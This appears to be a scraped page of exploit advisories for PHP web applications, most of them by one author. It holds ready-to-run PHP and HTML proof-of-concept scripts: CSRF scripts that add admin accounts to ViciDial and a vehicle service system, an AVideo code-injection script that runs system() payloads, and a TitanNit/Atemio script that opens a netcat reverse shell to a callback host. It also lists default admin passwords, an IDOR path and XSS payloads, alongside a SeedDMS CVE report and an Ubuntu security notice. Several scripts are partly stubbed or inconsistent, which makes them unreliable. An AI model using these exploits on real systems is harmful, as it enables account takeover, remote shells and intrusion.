ViciDial version 2.0.5 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : ViciDial Call Center - astguiclient - thirtieth public release 2.0.5 CSRF Add ADmin Vulnerability                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://github.com/inktel/Vicidial/archive/refs/heads/master.zip                                                            |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] The following php code add new admin .[+] Line 172 set your target. ( $exploit = new VICIdialExploit('admin', 'password', 'http://127.0.0.1'); )[+] save code as poc.php .[+] USage : cmd = php poc.php .[+] PayLoad :<?phpclass VICIdialExploit {    private $username;    private $password;    private $targetUri;    private $headers;    public function __construct($username, $password, $targetUri) {        $this->username = $username;        $this->password = $password;        $this->targetUri = $targetUri;        $this->headers = array(            'Authorization' => 'Basic ' . base64_encode($username . ':' . $password)        );    }    public function check() {        $response = $this->sendRequest('GET', $this->targetUri . '/agc/vicidial.php');        if ($response['code'] != 200) {            return 'Unknown';        }        $version_info = $this->extractVersion($response['body']);        if (!$version_info) {            return 'Unknown';        }        $current_version = $this->compareVersion($version_info, '2.14-917a');        return ($current_version <= 0) ? 'Vulnerable' : 'Safe';    }    private function extractVersion($html) {        preg_match("/VERSION:\s*(\d+\.\d+)-(\d+)/", $html, $matches);        return isset($matches[0]) ? $matches[0] : null;    }    private function compareVersion($current, $vulnerable) {        return version_compare($current, $vulnerable);    }    public function exploit() {        $this->startService();        $this->authenticateAdmin();        $this->updateUserSettings();        $this->updateSystemSettings();        $campaignData = $this->createDummyCampaign();        $this->updateCampaignSettings($campaignData['id']);        $this->createDummyList($campaignData['list_name'], $campaignData['id']);        $phoneCreds = $this->fetchPhoneCredentials();        $this->agentPortalAuthentication($phoneCreds['extension'], $phoneCreds['password'], $campaignData['id']);        $this->insertMaliciousRecording($phoneCreds['recording_extension']);        $this->deleteDummyCampaign($campaignData['id']);        $this->waitForCronJob();    }    private function startService() {        // Starting HTTP service logic    }    private function sendRequest($method, $url, $body = null) {        $options = array(            'http' => array(                'method' => $method,                'header' => implode("\r\n", $this->headers)            )        );        if ($body) {            $options['http']['content'] = http_build_query($body);        }        $context = stream_context_create($options);        $result = file_get_contents($url, false, $context);        return array(            'code' => $http_response_header[0],            'body' => $result        );    }    private function authenticateAdmin() {        $response = $this->sendRequest('GET', $this->targetUri . '/vicidial/admin.php', array('ADD' => '3', 'user' => $this->username));        if ($response['code'] != 200) {            throw new Exception('Failed to authenticate with credentials.');        }        echo 'Authenticated successfully as user ' . $this->username;    }    private function updateUserSettings() {        $faker = new Faker\Generator();        $userSettings = array(            'ADD' => '4A',            'user' => $this->username,            'pass' => $this->password,            'full_name' => $faker->name,            'user_group' => 'ADMIN',            'phone_login' => $faker->userName,            'phone_pass' => $faker->password,            'active' => 'Y',            'vicidial_recording' => '1'        );        $this->sendRequest('POST', $this->targetUri . '/vicidial/admin.php', $userSettings);        echo 'Updated user settings';    }    private function updateSystemSettings() {        // Fetching system settings logic and making changes    }    private function createDummyCampaign() {        $faker = new Faker\Generator();        $campaignId = rand(100000, 999999);        $listId = $campaignId + 1;        $campaignName = $faker->company;        $campaignSettings = array(            'ADD' => '21',            'campaign_id' => $campaignId,            'campaign_name' => $campaignName,            'user_group' => '---ALL---',            'active' => 'Y'        );        $this->sendRequest('POST', $this->targetUri . '/vicidial/admin.php', $campaignSettings);        echo 'Created dummy campaign ' . $campaignName;        return array('name' => $campaignName, 'id' => $campaignId, 'list_name' => $campaignName . ' List', 'list_id' => $listId);    }    private function updateCampaignSettings($campaignId) {        $campaignSettings = array(            'ADD' => '41',            'campaign_id' => $campaignId,            'active' => 'Y',            'auto_dial_level' => '1'        );        $this->sendRequest('POST', $this->targetUri . '/vicidial/admin.php', $campaignSettings);        echo 'Updated dummy campaign settings';    }    private function createDummyList($listName, $campaignId) {        $listSettings = array(            'ADD' => '211',            'list_name' => $listName,            'campaign_id' => $campaignId,            'active' => 'Y'        );        $this->sendRequest('POST', $this->targetUri . '/vicidial/admin.php', $listSettings);        echo 'Created dummy list ' . $listName;    }    private function fetchPhoneCredentials() {        // Fetching phone credentials logic    }    private function agentPortalAuthentication($extension, $password, $campaignId) {        // Agent portal authentication logic    }    private function insertMaliciousRecording($recordingExtension) {        // Inserting malicious recording logic    }    private function deleteDummyCampaign($campaignId) {        $this->sendRequest('GET', $this->targetUri . '/vicidial/admin.php', array('ADD' => '61', 'campaign_id' => $campaignId, 'CoNfIrM' => 'YES'));        echo 'Deleted dummy campaign ' . $campaignId;    }    private function waitForCronJob() {        // Waiting for cron job logic    }}// Usage example:$exploit = new VICIdialExploit('admin', 'password', 'http://127.0.0.1');$exploit->check();$exploit->exploit();?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

ViciDial 2.0.5 Cross Site Request Forgery

Vehicle Service Management System version 1.0 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : Vehicle Service Management System 1.0 CSRF Add Admin Vulnerability                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/php/10641/online-vehicle-service-management-system                                        |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload inject new admin account.[+] Line 6 Set your Target.[+] Line 15+19 Set your user & pass.[+] save payload as poc.html[+] payload :<!DOCTYPE html> <html> <body> <script> function submitRequest()  { var xhr = new XMLHttpRequest();  xhr.open("POST", "http://localhost/vservice/classes/Users.php?f=save", true); xhr.setRequestHeader("Accept", "*\/*");  xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------"); xhr.withCredentials = true;  var body = "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"username\"\r\n" +  "\r\n" +  "indoushka\r\n" +  "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"password\"\r\n" +  "\r\n" +  "Hacked\r\n" +  "-----------------------------\r\n" +  "Content-Disposition: form-data; name=\"type\"\r\n" +  "\r\n" +  "1\r\n" +  "-------------------------------\r\n";  var aBody = new Uint8Array(body.length);  for (var i = 0; i < aBody.length; i++)  aBody[i] = body.charCodeAt(i);  xhr.send(new Blob([aBody]));  } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form>  </body>  </html>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Vehicle Service Management System 1.0 Cross Site Request Forgery

Transport Management System version 1.0 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : Transport Management System 1.0 idor Vulnerability                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://www.kashipara.xyz/download/project/user/2022/202203/kashipara.com_transport-management-syste.zip           |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload : /newvehicle.php[+] http://127.0.0.1/Transport-Management/newvehicle.phpGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Transport Management System 1.0 Insecure Direct Object Reference

Online Eyewear Shop version 1.0 suffers from an ignored default credential vulnerability.

    =============================================================================================================================================| # Title     : Online Eyewear Shop v1.0 Insecure Settings Vulnerability                                                                    || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.1 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202301/kashipara.com_php-oews-zip.zip                         |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] http://localhost/oews/admin/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Online Eyewear Shop 1.0 Insecure Settings

AVideo version 12.4 suffers from a PHP code injection vulnerability.

=============================================================================================================================================| # Title     : AVideo 12.4 php code injection Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://github.com/WWBN/AVideo/tree/master                                                                                  |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] The following php code Upload shell file from external link.[+] Line 114 set your target.[+] Line 115 set your commands.[+] save code as poc.php .[+] USage : cmd = php poc.php .[+] PayLoad :<?phpclass indoushka{    private $target_uri;    private $payload;    public function __construct($target_uri, $payload)    {        $this->target_uri = $target_uri;        $this->payload = $payload;    }    public function exploit()    {        // إعداد الحمولة        $php_code = "<?php " . ($this->isArchPHP() ? $this->payload : "system(base64_decode('" . base64_encode($this->payload) . "'));") . " ?>";        $filter_payload = $this->generatePhpFilterPayload($php_code);        // إرسال الطلب        $data = http_build_query(['systemRootPath' => $filter_payload]);        $response = $this->sendRequest('POST', '/plugin/WWBNIndex/submitIndex.php', $data);        if ($response['code'] !== 200) {            echo "Server returned " . $response['code'] . ". Successful exploit attempts should not return a response.\n";        }    }    public function check()    {        $response = $this->sendRequest('GET', '/index.php');        if (!$response) {            return 'Failed to connect to the target.';        }        if ($response['code'] !== 200) {            return "Unexpected HTTP response code: " . $response['code'];        }        preg_match('/Powered by AVideo ® Platform v([\d.]+)/', $response['body'], $version_match);        preg_match('//m', $response['body'], $version_match);        if (empty($version_match[1])) {            return 'Unable to extract AVideo version.';        }        $version = $version_match[1];        $plugin_check = $this->sendRequest('GET', '/plugin/WWBNIndex/submitIndex.php');        if ($plugin_check['code'] !== 200) {            return 'Vulnerable plugin WWBNIndex was not detected';        }        if (version_compare($version, '12.4') >= 0 && version_compare($version, '14.2') <= 0) {            return "Detected vulnerable AVideo version: {$version}, with vulnerable plugin WWBNIndex running.";        }        return "Detected non-vulnerable AVideo version: {$version}";    }    private function sendRequest($method, $uri, $data = null)    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $this->target_uri . $uri);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        if ($method === 'POST') {            curl_setopt($ch, CURLOPT_POST, true);            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        $response = curl_exec($ch);        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);        curl_close($ch);        return ['code' => $http_code, 'body' => $response];    }    private function isArchPHP()    {        // افترض أن الحمولة عبارة عن كود PHP        return true; // أو تحقق من ذلك بناءً على شروط معينة    }    private function generatePhpFilterPayload($php_code)    {        // يجب أن تضيف هنا منطق إعداد الحمولة (تصفية)        return $php_code; // قم بتعديل ذلك بناءً على متطلباتك    }}// مثال على كيفية الاستخدام:$target_uri = "http://target-url.com"; // أدخل عنوان الهدف هنا$payload = "<?php echo 'Hello World!'; ?>"; // الحمولة المراد استخدامها$indoushka = new indoushka($target_uri, $payload);$check_result = $indoushka->check();echo $check_result . "\n";$indoushka->exploit();?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

AVideo 12.4 Code Injection

SeedDMS version 6.0.28 suffers from a persistent cross site scripting vulnerability.

    [CVE-ID]:CVE-2024-46409---------------------------------------------------------------------[Suggested description]A stored cross-site scripting (XSS) vulnerability in SeedDMS v6.0.28 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter in the Calendar page.---------------------------------------------------------------------[Additional Information]:To reproduce it, follow this steps:  1) log into SeedMS  2) create a new event named <svg onload=alert()>  3) go to https://demo6.seeddms.org/out/out.LogManagement.php?logname=<date>.log---------------------------------------------------------------------[Vulnerability Type]:Cross Site Scripting (XSS)---------------------------------------------------------------------[Vendor of Product]:SeedDMS-------------------------------------------------------------------[Affected Product Code Base]:SeedDMS - 6.0.28-------------------------------------------------------------------[Affected Component]:The affected param is the Event name param in the post request-------------------------------------------------------------------[Attack Type]:Remote---------------------------------------------------------------------[Impact Information Disclosure]:true--------------------------------------------------------------------[CVE Impact Other]: Run Arbitrary Javascript code--------------------------------------------------------------------[Attack Vectors]:A Crafted name for any event in the calendar--------------------------------------------------------------------[Has vendor confirmed or acknowledged the vulnerability?]:true--------------------------------------------------------------------[Discoverer]:Marco Nappi---------------------------------------------------------------------[Reference]:http://seeddms.com

SeedDMS 6.0.28 Cross Site Scripting

Ubuntu Security Notice 7049-1 - It was discovered that PHP incorrectly handled parsing multipart form data. A remote attacker could possibly use this issue to inject payloads and cause PHP to ignore legitimate data. It was discovered that PHP incorrectly handled the cgi.force_redirect configuration option due to environment variable collisions. In certain configurations, an attacker could possibly use this issue bypass force_redirect restrictions.

==========================================================================  
Ubuntu Security Notice USN-7049-1  
October 01, 2024

php7.4, php8.1, php8.3 vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 24.04 LTS  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS

Summary:

Several security issues were fixed in PHP.

Software Description:  
- php8.3: HTML-embedded scripting language interpreter  
- php8.1: HTML-embedded scripting language interpreter  
- php7.4: HTML-embedded scripting language interpreter

Details:

It was discovered that PHP incorrectly handled parsing multipart form data.  
A remote attacker could possibly use this issue to inject payloads and  
cause PHP to ignore legitimate data. (CVE-2024-8925)

It was discovered that PHP incorrectly handled the cgi.force_redirect  
configuration option due to environment variable collisions. In certain  
configurations, an attacker could possibly use this issue bypass  
force_redirect restrictions. (CVE-2024-8927)

It was discovered that PHP-FPM incorrectly handled logging. A remote  
attacker could possibly use this issue to alter and inject arbitrary  
contents into log files. This issue only affected Ubuntu 22.04 LTS, and  
Ubuntu 24.04 LTS. (CVE-2024-9026)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 24.04 LTS  
  libapache2-mod-php8.3           8.3.6-0ubuntu0.24.04.2  
  php8.3-cgi                      8.3.6-0ubuntu0.24.04.2  
  php8.3-cli                      8.3.6-0ubuntu0.24.04.2  
  php8.3-fpm                      8.3.6-0ubuntu0.24.04.2

Ubuntu 22.04 LTS  
  libapache2-mod-php8.1           8.1.2-1ubuntu2.19  
  php8.1-cgi                      8.1.2-1ubuntu2.19  
  php8.1-cli                      8.1.2-1ubuntu2.19  
  php8.1-fpm                      8.1.2-1ubuntu2.19

Ubuntu 20.04 LTS  
  libapache2-mod-php7.4           7.4.3-4ubuntu2.24  
  php7.4-cgi                      7.4.3-4ubuntu2.24  
  php7.4-cli                      7.4.3-4ubuntu2.24  
  php7.4-fpm                      7.4.3-4ubuntu2.24

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-7049-1  
  CVE-2024-8925, CVE-2024-8927, CVE-2024-9026

Package Information:  
  https://launchpad.net/ubuntu/+source/php8.3/8.3.6-0ubuntu0.24.04.2  
  https://launchpad.net/ubuntu/+source/php8.1/8.1.2-1ubuntu2.19  
  https://launchpad.net/ubuntu/+source/php7.4/7.4.3-4ubuntu2.24

Ubuntu Security Notice USN-7049-1

Tourism Management System version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Tourism Management System 1.0 XSS Vulnerability                                                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/tourism_1.zip                                         |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /rate_review.php?id=1"><script>alert(/indoushka/)</script>[+] http://localhost/tourism/rate_review.php?id=1%22%3E%3Cscript%3Ealert(/indoushka/)%3C/script%3EGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Tourism Management System 1.0 Cross Site Scripting

TitanNit Web Control 2.01 and Atemio 7600 suffer from a PHP code injection vulnerability.

=============================================================================================================================================  
| # Title     : TitanNit Web Control 2.01 / Atemio 7600 php code injection Vulnerability                                                    |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.sat-world.com/Atemio-AM-520-HD-TitanNit-Edition                                                                 |  
=============================================================================================================================================

poc :

[+] Explanation: 

    We used the exec function to run the nc(netcat) command which subscribes to the subscriptions offered by the privileged execution.

    In Windows environments, you can use the netcat tool for communications headsets.

    Note: Make sure that netcat is installed on your system (you can download netcat for Windows). 

   [+] save as poc.php

[+] Usage : C:\www\test>php 3.php poc.php

[+] payload : 

<?php

class RemoteControl {

    private $timeout = 10;  
    private $target;  
    private $callback;  
    private $path = "/query?getcommand=&cmd=";  
    private $lport;  
    private $cmd;

    public function beacon() {  
        $this->cmd = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc ";  
        $this->cmd .= $this->callback . " ";  
        $this->cmd .= $this->lport . " ";  
        $this->cmd .= ">/tmp/j";  
        $this->path .= $this->cmd;

        $ch = curl_init($this->target . $this->path);  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
        curl_exec($ch);  
        curl_close($ch);  
    }

    public function slusaj() {  
        echo "[*] Listening on port " . $this->lport . "\n";  
        sleep(1);

        // Windows solution using exec  
        $cmd = "nc -lvp " . $this->lport; // Example with netcat listener  
        exec($cmd, $output, $result_code);

                if ($result_code == 0) {  
            echo "[*] Rootshell session opened\n";  
            foreach ($output as $line) {  
                echo $line . "\n";  
            }  
        } else {  
            echo "[!] Error in executing the listener\n";  
        }  
    }

    public function tajmer() {  
        for ($z = $this->timeout; $z > 0; $z--) {  
            echo "[*] Callback waiting: " . $z . "s\r";  
            sleep(1);  
        }  
    }

    public function thricer() {  
        echo "[*] Starting callback listener\n";

        // Run listener in the background using exec  
        $this->slusaj();

        echo "[*] Generating callback payload\n";  
        sleep(1);  
        echo "[*] Calling\n";  
        $this->beacon();  
    }

    public function howto($argv) {  
        if (count($argv) != 4) {  
            $this->usage();  
        } else {  
            $this->target = $argv[1];  
            $this->callback = $argv[2];  
            $this->lport = (int)$argv[3];

            if (strpos($this->target, "http") === false) {  
                $this->target = "http://" . $this->target;  
            }  
        }  
    }

    public function dostabesemolk() {

    }

    public function usage() {  
        $this->dostabesemolk();  
        echo "Usage: php titan.php <target ip> <listen ip> <listen port>\n";  
        echo "Example: php titan.php 192.168.1.13:20000 192.168.1.8 9999\n";  
        exit(0);  
    }

    public function main($argv) {  
        $this->howto($argv);  
        $this->thricer();  
    }  
}

$control = new RemoteControl();  
$control->main($argv);  
?>

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

TitanNit Web Control 2.01 / Atemio 7600 Code Injection

Teacher Subject Allocation Management System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Teacher Subject Allocation Management System 1.0 Insecure Settings Vulnerability                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql/                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/tsas/admin/login.phpGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Tag

#php